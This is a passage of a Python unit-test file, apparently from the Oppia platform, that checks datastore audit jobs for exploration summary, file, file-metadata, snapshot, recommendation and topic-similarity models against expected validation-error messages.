test_model_with_invalid_contributors_summary(self): sorted_contributor_ids = sorted( self.model_instance_0.contributors_summary.keys()) self.model_instance_0.contributors_summary = {'invalid': 1} self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for contributors summary ' 'check of ExpSummaryModel\', ' '[u"Entity id 0: Contributor ids: [u\'%s\', u\'%s\'] ' 'do not match the contributor ids obtained using ' 'contributors summary: [u\'invalid\']"]]') % ( sorted_contributor_ids[0], sorted_contributor_ids[1] ), u'[u\'fully-validated ExpSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_exploration_related_property(self): self.model_instance_0.title = 'invalid' self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for title field check of ' 'ExpSummaryModel\', ' '[u\'Entity id %s: title field in entity: invalid does not ' 'match corresponding exploration title field: New title\']]' ) % self.model_instance_0.id, u'[u\'fully-validated ExpSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_exploration_rights_related_property(self): self.model_instance_0.status = 'public' self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for status field check of ' 'ExpSummaryModel\', ' '[u\'Entity id %s: status field in entity: public does not ' 'match corresponding exploration rights status field: ' 'private\']]' ) % self.model_instance_0.id, u'[u\'fully-validated ExpSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class FileMetadataModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(FileMetadataModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( 'exp%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(2)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) self.model_instance_0 = file_models.FileMetadataModel.create( 'exploration/exp0', 'assets/image/img0.png') self.model_instance_0.commit(self.owner_id, []) self.model_instance_1 = file_models.FileMetadataModel.create( 'exploration/exp1', '/exploration/exp1/assets/audio/aud1.mp3') self.model_instance_1.commit(self.owner_id, []) self.job_class = ( prod_validation_jobs_one_off.FileMetadataModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated FileMetadataModel\', 2]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.commit(feconf.SYSTEM_COMMITTER_ID, []) expected_output = [ ( u'[u\'failed validation check for time field relation check ' 'of FileMetadataModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), u'[u\'fully-validated FileMetadataModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete(feconf.SYSTEM_COMMITTER_ID, 'delete') expected_output = [( u'[u\'failed validation check for current time check of ' 'FileMetadataModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_exploration_model_failure(self): exp_models.ExplorationModel.get_by_id('exp1').delete( feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for exploration_ids field ' 'check of FileMetadataModel\', ' '[u"Entity id %s: based on field exploration_ids having ' 'value exp1, expect model ExplorationModel with id exp1 but it ' 'doesn\'t exist"]]') % self.model_instance_1.id, u'[u\'fully-validated FileMetadataModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_metadata_model_failure(self): file_models.FileMetadataSnapshotMetadataModel.get_by_id( '%s-1' % self.model_instance_0.id).delete() expected_output = [ ( u'[u\'failed validation check for snapshot_metadata_ids ' 'field check of FileMetadataModel\', ' '[u"Entity id %s: based on field snapshot_metadata_ids ' 'having value %s-1, expect model ' 'FileMetadataSnapshotMetadataModel ' 'with id %s-1 but it doesn\'t exist"]]') % ( self.model_instance_0.id, self.model_instance_0.id, self.model_instance_0.id), u'[u\'fully-validated FileMetadataModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_content_model_failure(self): file_models.FileMetadataSnapshotContentModel.get_by_id( '%s-1' % self.model_instance_0.id).delete() expected_output = [ ( u'[u\'failed validation check for snapshot_content_ids ' 'field check of FileMetadataModel\', ' '[u"Entity id %s: based on field snapshot_content_ids having ' 'value %s-1, expect model FileMetadataSnapshotContentModel ' 'with id %s-1 but it doesn\'t exist"]]') % ( self.model_instance_0.id, self.model_instance_0.id, self.model_instance_0.id), u'[u\'fully-validated FileMetadataModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) class FileMetadataSnapshotMetadataModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(FileMetadataSnapshotMetadataModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.user_id = self.get_user_id_from_email(USER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( 'exp%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(2)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) file_metadata_model_0 = file_models.FileMetadataModel.create( 'exploration/exp0', 'assets/image/img0.png') file_metadata_model_0.commit(self.owner_id, []) file_metadata_model_1 = file_models.FileMetadataModel.create( 'exploration/exp1', '/exploration/exp1/assets/audio/aud1.mp3') file_metadata_model_1.commit(self.user_id, []) self.id_0 = file_metadata_model_0.id self.id_1 = file_metadata_model_1.id self.model_instance_0 = ( file_models.FileMetadataSnapshotMetadataModel.get_by_id( '%s-1' % self.id_0)) self.model_instance_1 = ( file_models.FileMetadataSnapshotMetadataModel.get_by_id( '%s-1' % self.id_1)) self.job_class = ( prod_validation_jobs_one_off .FileMetadataSnapshotMetadataModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated FileMetadataSnapshotMetadataModel\', 2]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of FileMetadataSnapshotMetadataModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'FileMetadataSnapshotMetadataModel\', 1]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'FileMetadataSnapshotMetadataModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_file_metadata_model_failure(self): file_models.FileMetadataModel.get_by_id(self.id_0).delete( self.owner_id, '', []) expected_output = [ ( u'[u\'failed validation check for file_metadata_ids ' 'field check of FileMetadataSnapshotMetadataModel\', ' '[u"Entity id %s-1: based on field file_metadata_ids ' 'having value %s, expect model FileMetadataModel with ' 'id %s but it doesn\'t exist", u"Entity id %s-2: based on ' 'field file_metadata_ids having value %s, expect model ' 'FileMetadataModel with id %s but it doesn\'t exist"]]' ) % ( self.id_0, self.id_0, self.id_0, self.id_0, self.id_0, self.id_0 ), u'[u\'fully-validated FileMetadataSnapshotMetadataModel\', 1]'] run_job_and_check_output( self, expected_output, literal_eval=True) def test_missing_committer_model_failure(self): user_models.UserSettingsModel.get_by_id(self.user_id).delete() expected_output = [ ( u'[u\'failed validation check for committer_ids field ' 'check of FileMetadataSnapshotMetadataModel\', ' '[u"Entity id %s-1: based on field committer_ids having ' 'value %s, expect model UserSettingsModel with id %s ' 'but it doesn\'t exist"]]' ) % (self.id_1, self.user_id, self.user_id), ( u'[u\'fully-validated ' 'FileMetadataSnapshotMetadataModel\', 1]')] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_file_metadata_version_in_model_id(self): model_with_invalid_version_in_id = ( file_models.FileMetadataSnapshotMetadataModel( id='%s-3' % self.id_0, committer_id=self.owner_id, commit_type='edit', commit_message='msg', commit_cmds=[{}])) model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for file metadata model ' 'version check of FileMetadataSnapshotMetadataModel\', ' '[u\'Entity id %s-3: FileMetadata model corresponding to ' 'id %s has a version 1 which is less than the version 3 in ' 'snapshot metadata model id\']]' ) % (self.id_0, self.id_0), ( u'[u\'fully-validated FileMetadataSnapshotMetadataModel\', ' '2]')] run_job_and_check_output(self, expected_output, sort=True) class FileMetadataSnapshotContentModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(FileMetadataSnapshotContentModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( 'exp%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(2)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) file_metadata_model_0 = file_models.FileMetadataModel.create( 'exploration/exp0', 'assets/image/img0.png') file_metadata_model_0.commit(self.owner_id, []) file_metadata_model_1 = file_models.FileMetadataModel.create( 'exploration/exp1', '/exploration/exp1/assets/audio/aud1.mp3') file_metadata_model_1.commit(self.owner_id, []) self.id_0 = file_metadata_model_0.id self.id_1 = file_metadata_model_1.id self.model_instance_0 = ( file_models.FileMetadataSnapshotContentModel.get_by_id( '%s-1' % self.id_0)) self.model_instance_1 = ( file_models.FileMetadataSnapshotContentModel.get_by_id( '%s-1' % self.id_1)) self.job_class = ( prod_validation_jobs_one_off .FileMetadataSnapshotContentModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated FileMetadataSnapshotContentModel\', 2]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of FileMetadataSnapshotContentModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'FileMetadataSnapshotContentModel\', 1]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'FileMetadataSnapshotContentModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_file_metadata_model_failure(self): file_models.FileMetadataModel.get_by_id( self.id_0).delete(self.owner_id, '', []) expected_output = [ ( u'[u\'failed validation check for file_metadata_ids ' 'field check of FileMetadataSnapshotContentModel\', ' '[u"Entity id %s-1: based on field file_metadata_ids ' 'having value %s, expect model FileMetadataModel with ' 'id %s but it doesn\'t exist", u"Entity id %s-2: based on ' 'field file_metadata_ids having value %s, expect model ' 'FileMetadataModel with id %s but it doesn\'t exist"]]' ) % ( self.id_0, self.id_0, self.id_0, self.id_0, self.id_0, self.id_0), u'[u\'fully-validated FileMetadataSnapshotContentModel\', 1]'] run_job_and_check_output(self, expected_output, literal_eval=True) def test_invalid_file_metadata_version_in_model_id(self): model_with_invalid_version_in_id = ( file_models.FileMetadataSnapshotContentModel( id='%s-3' % self.id_0)) model_with_invalid_version_in_id.content = {} model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for file metadata model ' 'version check of FileMetadataSnapshotContentModel\', ' '[u\'Entity id %s-3: FileMetadata model corresponding to ' 'id %s has a version 1 which is less than ' 'the version 3 in snapshot content model id\']]' ) % (self.id_0, self.id_0), ( u'[u\'fully-validated FileMetadataSnapshotContentModel\', ' '2]')] run_job_and_check_output(self, expected_output, sort=True) class FileModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(FileModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( 'exp%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(2)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) self.model_instance_0 = file_models.FileModel.create( 'exploration/exp0', 'assets/image/img0.png') self.model_instance_0.commit(self.owner_id, []) self.model_instance_1 = file_models.FileModel.create( 'exploration/exp1', '/exploration/exp1/assets/audio/aud1.mp3') self.model_instance_1.commit(self.owner_id, []) self.job_class = ( prod_validation_jobs_one_off.FileModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated FileModel\', 2]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.commit(feconf.SYSTEM_COMMITTER_ID, []) expected_output = [ ( u'[u\'failed validation check for time field relation check ' 'of FileModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), u'[u\'fully-validated FileModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete(feconf.SYSTEM_COMMITTER_ID, 'delete') expected_output = [( u'[u\'failed validation check for current time check of ' 'FileModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_exploration_model_failure(self): exp_models.ExplorationModel.get_by_id('exp1').delete( feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for exploration_ids field ' 'check of FileModel\', ' '[u"Entity id %s: based on field exploration_ids having ' 'value exp1, expect model ExplorationModel with id exp1 ' 'but it doesn\'t exist"]]') % self.model_instance_1.id, u'[u\'fully-validated FileModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_metadata_model_failure(self): file_models.FileSnapshotMetadataModel.get_by_id( '%s-1' % self.model_instance_0.id).delete() expected_output = [ ( u'[u\'failed validation check for snapshot_metadata_ids ' 'field check of FileModel\', ' '[u"Entity id %s: based on field snapshot_metadata_ids ' 'having value %s-1, expect model FileSnapshotMetadataModel ' 'with id %s-1 but it doesn\'t exist"]]') % ( self.model_instance_0.id, self.model_instance_0.id, self.model_instance_0.id), u'[u\'fully-validated FileModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_content_model_failure(self): file_models.FileSnapshotContentModel.get_by_id( '%s-1' % self.model_instance_0.id).delete() expected_output = [ ( u'[u\'failed validation check for snapshot_content_ids ' 'field check of FileModel\', ' '[u"Entity id %s: based on field snapshot_content_ids having ' 'value %s-1, expect model FileSnapshotContentModel ' 'with id %s-1 but it doesn\'t exist"]]') % ( self.model_instance_0.id, self.model_instance_0.id, self.model_instance_0.id), u'[u\'fully-validated FileModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) class FileSnapshotMetadataModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(FileSnapshotMetadataModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.user_id = self.get_user_id_from_email(USER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( 'exp%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(2)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) file_model_0 = file_models.FileModel.create( 'exploration/exp0', 'assets/image/img0.png') file_model_0.commit(self.owner_id, []) file_model_1 = file_models.FileModel.create( 'exploration/exp1', '/exploration/exp1/assets/audio/aud1.mp3') file_model_1.commit(self.user_id, []) self.id_0 = file_model_0.id self.id_1 = file_model_1.id self.model_instance_0 = ( file_models.FileSnapshotMetadataModel.get_by_id( '%s-1' % self.id_0)) self.model_instance_1 = ( file_models.FileSnapshotMetadataModel.get_by_id( '%s-1' % self.id_1)) self.job_class = ( prod_validation_jobs_one_off .FileSnapshotMetadataModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated FileSnapshotMetadataModel\', 2]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of FileSnapshotMetadataModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'FileSnapshotMetadataModel\', 1]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'FileSnapshotMetadataModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_file_model_failure(self): file_models.FileModel.get_by_id(self.id_0).delete( self.owner_id, '', []) expected_output = [ ( u'[u\'failed validation check for file_ids ' 'field check of FileSnapshotMetadataModel\', ' '[u"Entity id %s-1: based on field file_ids ' 'having value %s, expect model FileModel with ' 'id %s but it doesn\'t exist", u"Entity id %s-2: based on ' 'field file_ids having value %s, expect model ' 'FileModel with id %s but it doesn\'t exist"]]' ) % ( self.id_0, self.id_0, self.id_0, self.id_0, self.id_0, self.id_0), u'[u\'fully-validated FileSnapshotMetadataModel\', 1]'] run_job_and_check_output( self, expected_output, literal_eval=True) def test_missing_committer_model_failure(self): user_models.UserSettingsModel.get_by_id(self.user_id).delete() expected_output = [ ( u'[u\'failed validation check for committer_ids field ' 'check of FileSnapshotMetadataModel\', ' '[u"Entity id %s-1: based on field committer_ids having ' 'value %s, expect model UserSettingsModel with id %s ' 'but it doesn\'t exist"]]' ) % (self.id_1, self.user_id, self.user_id), ( u'[u\'fully-validated ' 'FileSnapshotMetadataModel\', 1]')] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_file_version_in_model_id(self): model_with_invalid_version_in_id = ( file_models.FileSnapshotMetadataModel( id='%s-3' % self.id_0, committer_id=self.owner_id, commit_type='edit', commit_message='msg', commit_cmds=[{}])) model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for file model ' 'version check of FileSnapshotMetadataModel\', ' '[u\'Entity id %s-3: File model corresponding to ' 'id %s has a version 1 which is less than the version 3 in ' 'snapshot metadata model id\']]' ) % (self.id_0, self.id_0), ( u'[u\'fully-validated FileSnapshotMetadataModel\', ' '2]')] run_job_and_check_output(self, expected_output, sort=True) class FileSnapshotContentModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(FileSnapshotContentModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( 'exp%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(2)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) file_model_0 = file_models.FileModel.create( 'exploration/exp0', 'assets/image/img0.png') file_model_0.commit(self.owner_id, []) file_model_1 = file_models.FileModel.create( 'exploration/exp1', '/exploration/exp1/assets/audio/aud1.mp3') file_model_1.commit(self.owner_id, []) self.id_0 = file_model_0.id self.id_1 = file_model_1.id self.model_instance_0 = ( file_models.FileSnapshotContentModel.get_by_id( '%s-1' % self.id_0)) self.model_instance_1 = ( file_models.FileSnapshotContentModel.get_by_id( '%s-1' % self.id_1)) self.job_class = ( prod_validation_jobs_one_off.FileSnapshotContentModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated FileSnapshotContentModel\', 2]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of FileSnapshotContentModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'FileSnapshotContentModel\', 1]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'FileSnapshotContentModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_file_model_failure(self): file_models.FileModel.get_by_id( self.id_0).delete(self.owner_id, '', []) expected_output = [ ( u'[u\'failed validation check for file_ids ' 'field check of FileSnapshotContentModel\', ' '[u"Entity id %s-1: based on field file_ids ' 'having value %s, expect model FileModel with ' 'id %s but it doesn\'t exist", u"Entity id %s-2: based on ' 'field file_ids having value %s, expect model ' 'FileModel with id %s but it doesn\'t exist"]]' ) % ( self.id_0, self.id_0, self.id_0, self.id_0, self.id_0, self.id_0), u'[u\'fully-validated FileSnapshotContentModel\', 1]'] run_job_and_check_output(self, expected_output, literal_eval=True) def test_invalid_file_version_in_model_id(self): model_with_invalid_version_in_id = ( file_models.FileSnapshotContentModel( id='%s-3' % self.id_0)) model_with_invalid_version_in_id.content = 'content' model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for file model ' 'version check of FileSnapshotContentModel\', ' '[u\'Entity id %s-3: File model corresponding to ' 'id %s has a version 1 which is less than ' 'the version 3 in snapshot content model id\']]' ) % (self.id_0, self.id_0), ( u'[u\'fully-validated FileSnapshotContentModel\', ' '2]')] run_job_and_check_output(self, expected_output, sort=True) class ExplorationRecommendationsModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(ExplorationRecommendationsModelValidatorTests, self).setUp() self.signup(USER_EMAIL, USER_NAME) self.user_id = self.get_user_id_from_email(USER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(6)] for exp in explorations: exp_services.save_new_exploration(self.user_id, exp) recommendations_services.set_recommendations('0', ['3', '4']) recommendations_services.set_recommendations('1', ['5']) self.model_instance_0 = ( recommendations_models.ExplorationRecommendationsModel.get_by_id( '0')) self.model_instance_1 = ( recommendations_models.ExplorationRecommendationsModel.get_by_id( '1')) self.job_class = ( prod_validation_jobs_one_off .ExplorationRecommendationsModelAuditOneOffJob) def test_standard_model(self): expected_output = [( u'[u\'fully-validated ExplorationRecommendationsModel\', 2]')] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for time field relation check ' 'of ExplorationRecommendationsModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated), u'[u\'fully-validated ExplorationRecommendationsModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'ExplorationRecommendationsModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output) def test_model_with_missing_recommended_exploration(self): exp_models.ExplorationModel.get_by_id('3').delete( self.user_id, '', [{}]) expected_output = [ ( u'[u\'failed validation check for exploration_ids field ' 'check of ExplorationRecommendationsModel\', ' '[u"Entity id 0: based on field exploration_ids having value ' '3, expect model ExplorationModel with ' 'id 3 but it doesn\'t exist"]]' ), u'[u\'fully-validated ExplorationRecommendationsModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_id_in_recommended_ids(self): self.model_instance_0.recommended_exploration_ids = ['0', '4'] self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for item exploration id check ' 'of ExplorationRecommendationsModel\', ' '[u\'Entity id 0: The exploration id: 0 for which the ' 'entity is created is also present in the recommended ' 'exploration ids for entity\']]' ), u'[u\'fully-validated ExplorationRecommendationsModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) class TopicSimilaritiesModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(TopicSimilaritiesModelValidatorTests, self).setUp() self.model_instance = recommendations_models.TopicSimilaritiesModel( id=recommendations_models.TOPIC_SIMILARITIES_ID) self.content = { 'Art': {'Art': '1.0', 'Biology': '0.8', 'Chemistry': '0.1'}, 'Biology': {'Art': '0.8', 'Biology': '1.0', 'Chemistry': '0.5'}, 'Chemistry': {'Art': '0.1', 'Biology': '0.5', 'Chemistry': '1.0'}, } self.model_instance.content = self.content self.model_instance.put() self.job_class = ( prod_validation_jobs_one_off.TopicSimilaritiesModelAuditOneOffJob) def test_standard_model(self): expected_output = [( u'[u\'fully-validated TopicSimilaritiesModel\', 1]')] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance.created_on = ( self.model_instance.last_updated + datetime.timedelta(days=1)) self.model_instance.put() expected_output = [ ( u'[u\'failed validation check for time field relation check ' 'of TopicSimilaritiesModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance.id, self.model_instance.created_on, self.model_instance.last_updated)] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): expected_output = [( u'[u\'failed validation check for current time check of ' 'TopicSimilaritiesModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance.id, self.model_instance.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output) def test_model_with_invalid_id(self): model_with_invalid_id = recommendations_models.TopicSimilaritiesModel( id='invalid', content=self.content) model_with_invalid_id.put() expected_output = [ ( u'[u\'failed validation check for model id check of ' 'TopicSimilaritiesModel\', ' '[u\'Entity id invalid: Entity id does not match regex ' 'pattern\']]' ), u'[u\'fully-validated TopicSimilaritiesModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_topic_similarities_columns(self): content = { 'Art': {'Art': '1.0', 'Biology': '0.5'}, 'Biology': {} } self.model_instance.content = content self.model_instance.put() expected_output = [( u'[u\'failed validation check for topic similarity check ' 'of TopicSimilaritiesModel\', ' '[u"Entity id topics: Topic similarity validation for ' 'content: {u\'Biology\': {}, u\'Art\': {u\'Biology\': u\'0.5\', ' 'u\'Art\': u\'1.0\'}} fails with error: Length of topic ' 'similarities columns: 1 does not match length of ' 'topic list: 2."]]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_topic(self): content = { 'Art': {'Art': '1.0', 'invalid': '0.5'}, 'invalid': {'Art': '0.5', 'invalid': '1.0'} } self.model_instance.content = content self.model_instance.put() expected_output = [( u'[u\'failed validation check for topic similarity check ' 'of TopicSimilaritiesModel\', ' '[u"Entity id topics: Topic similarity validation for ' 'content: {u\'Art\': {u\'Art\': u\'1.0\', u\'invalid\': u\'0.5\'}, ' 'u\'invalid\': {u\'Art\': u\'0.5\', u\'invalid\': u\'1.0\'}} ' 'fails with error: Topic invalid not in list of known topics."]]')] run_job_and_check_output(self, expected_output) def test_model_with_invalid_topic_similarities_rows(self): content = { 'Art': {'Art': '1.0', 'Biology': '0.5'} } self.model_instance.content = content self.model_instance.put() expected_output = [( 